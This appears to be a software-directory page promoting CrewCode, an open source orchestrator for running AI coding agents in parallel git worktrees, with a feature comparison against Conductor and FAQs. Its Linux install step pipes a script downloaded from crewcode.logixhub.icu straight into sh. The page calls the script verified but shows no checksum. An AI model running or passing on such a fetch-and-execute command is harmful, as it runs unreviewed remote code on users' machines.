Open source alternative to Conductor
Last verified
Orchestrate multiple AI coding agents in parallel across isolated git worktrees. Apache-2.0 licensed desktop app for Linux, macOS and Windows.
Create separate worktrees for independent tasks, assign an agent to each, and supervise all sessions from Mission Control without opening multiple terminal windows. The integrated git diff and PR workflow lets you land finished branches without switching tools.
If you run only one agent at a time and rarely juggle branches, the standard Claude Code or Codex CLI is simpler and has lower overhead than a desktop orchestrator.
Assign lanes to different scopes (front end, back end, tests), mix providers to match task complexity, and review output in one place. Delegated Threads lets an agent spin up real, archivable chat sessions for subtasks, so the work trail is inspectable after the session ends.
Teams with established CI/CD pipelines and human code review may find CrewCode's in-app review workflow redundant if agents commit directly to feature branches already under review.
Run CrewCode on a VPS or always-on home server and continue sessions from a browser or phone. The Background Brain keeps worktrees and sessions alive after closing the Electron window; the Hub dashboard lists online machines and recent threads.
If all development happens on a single local machine with no remote continuity needs, the Hub and Background Brain add setup complexity you will not use.
Running more than one AI coding agent quickly becomes unmanageable. Each agent needs its own terminal, its own worktree, its own context window, and its own set of open files. Without tooling to hold those together, developers end up juggling multiple terminal windows across multiple branches with no central view of what each agent is doing or where it has gone wrong.
The harder challenge is coordination. When one agent finishes a task on a feature branch, reviewing its diff, handing work to another agent, handling merge conflicts, and deciding whether to discard or land the branch all require context-switching back to individual sessions. Developers lose track of which branches are live, which agents are blocked, and which diffs are worth reviewing, and that overhead often cancels out the speed gains that parallel agents were supposed to deliver.
Launch named lanes with different agents, models, roles, and effort levels running in parallel on the same project. Each lane gets its own worktree, so agents never conflict over the working tree. Save and reuse crew templates for common task patterns.
Every agent session runs in an isolated git worktree, keeping parallel work on separate branches without stashing or juggling. Before merging, CrewCode surfaces exact file overlap and likely cross-file contract collisions. Worktree and merge-audit state recovers automatically after a restart.
Run Claude Code, Codex, OpenCode, Ollama, Hermes, OpenRouter, and Grok Build in the same workspace and switch providers mid-session. When you switch, CrewCode generates a handoff summary so the new agent picks up without losing context.
Stage, diff, commit, pull, push, and sync inside the app. Review AI-generated diffs, resolve merge conflicts, and delegate conflict resolution back to an agent. Create, approve, and merge pull requests through GitHub CLI integration without leaving the app.
Install plugins from `~/.crewcode/plugins/` to add custom panels, sidebar items, MCP server declarations, and agent providers. Plugin UIs run in sandboxed `crewcode-plugin://` iframes and communicate through a typed API, so plugin code never gets direct Electron or Node access.
Run CrewCode headlessly on a VPS or home server and reach dev sessions from any browser or phone. The Hub uses a passkey-secured dashboard over an end-to-end-encrypted relay; dev machine files, code, and prompts never reach the Hub. No inbound ports required.
Both tools run multiple AI coding agents in parallel across local git worktrees in a desktop application. Conductor was the primary commercial platform in this category; CrewCode is the open source alternative.
| Feature | CrewCode | Conductor |
|---|---|---|
| License | Apache-2.0 | Proprietary |
| Price | Free | Free app; Cloud tier paid (Pro, Teams, Enterprise) |
| Self-hosting | Local app; optional self-hosted Hub | Local app only |
| Supported agents | Claude Code, Codex, OpenCode, Ollama, Hermes, OpenRouter, Grok Build | Claude Code, Codex, Cursor, OpenCode |
| Plugin platform | Yes (local plugins, MCP servers) | No |
| Realtime voice | Yes (hosted and local) | No |
| Embedded browser | Yes | No |
| Primary platform | Linux (documented); macOS and Windows listed | macOS |
Conductor is shutting down on 2026-11-20 as the company joins Meta.
CrewCode is the stronger open source choice for teams who need a vendor-agnostic, extensible orchestrator they can inspect and modify. Its plugin platform, provider mixing (including local models via Ollama), embedded browser, voice layer, and document workflow cover capabilities that Conductor never offered.
Teams currently on Conductor who need to continue multi-agent workflows after the shutdown will find CrewCode covers the same core use case with an Apache-2.0 license and no dependency on a company's continued operation.
Install CrewCode on Linux with the verified SHA-256 installer script.
```bash
curl --proto '=https' --tlsv1.2 -fsSL https://crewcode.logixhub.icu/install | sh
```Yes. CrewCode is licensed under Apache-2.0 and free to use, modify, and distribute commercially. There is no paid tier, no subscription, and no hosted service required for core use. The optional self-hosted Hub is also free; you deploy it on your own infrastructure.
CrewCode supports Claude Code, Codex, OpenCode, Pi, Ollama, Hermes, OpenRouter, and Grok Build. Providers can be mixed within the same project. When you switch providers mid-session, CrewCode generates a handoff summary so the new agent picks up without losing context.
Each agent session runs in its own git worktree, keeping parallel work on separate branches without stashing or conflicts. Before merging a crew's output, CrewCode surfaces exact file overlap and cross-file contract collisions. Worktree and merge-audit state recovers automatically after a restart.
CrewCode targets macOS, Linux, and Windows. The documented installer covers Linux (Arch, Debian, and AppImage for other x86_64 distributions). The README notes that macOS testing help would be appreciated, so the macOS path may be less polished than Linux at this stage.
Crew lanes are parallel, ephemeral agent sessions that live for the duration of a crew run. Delegated Threads are persistent chat sessions with transcripts and archiving that an agent creates inside a turn and that you can open, read, and continue yourself afterward. Lanes are for concurrent work during a run; Delegated Threads outlive the run that made them.
#1 in the Conductor guide
Drop-in Conductor replacement with 27 or more agents on macOS, Windows, and Linux under MIT
#2 in the Conductor guide
MIT-licensed control plane for 6 or more agents with mobile and web clients and a large community
#3 in the Conductor guide
Daemon-based architecture for agents running on a VM or Docker host with full mobile parity
#4 in the Conductor guide
macOS parallel-agent desktop app with SOC 2 Type II certification and optional paid remote access
Sponsors
Alternative to
Superhuman
AI email assistant that drafts replies and clears your inbox
Alternative to
Grok Bot
AI teammates you own: your keys, your model, your machine.
Live monitoring on LinkedIn, X, Reddit & more. Agentic social listening for startups.
The projects we add and every new guide. Free, unsubscribe any time.
Claude Code to 
OpenCode
Jira to 
Windshift
Notion to 
AppFlowy
Slack to 
Mattermost
Linear to 
GitLab
Wispr Flow to 
Handy
Arc to 
Zen Browser
CapCut to 
Concat
Grok Bot to 
rakazo
Superhuman to 
Inbox Zero
Airtable to 
AITable
Muse to 
OpenClaw
Railway to 
Coolify
GitHub Copilot to 
Cline
Datadog to 
NetdataConfluence to 
Wiki.js
Microsoft Teams to 
Rocket.Chat
Firebase to 
Supabase
Pinecone to 
Qdrant
Zapier to 
n8n
1Password to 
KeePassXC
Devin AI to 
OpenHands
Asana to 
Leantime
Contentful to 
Strapi
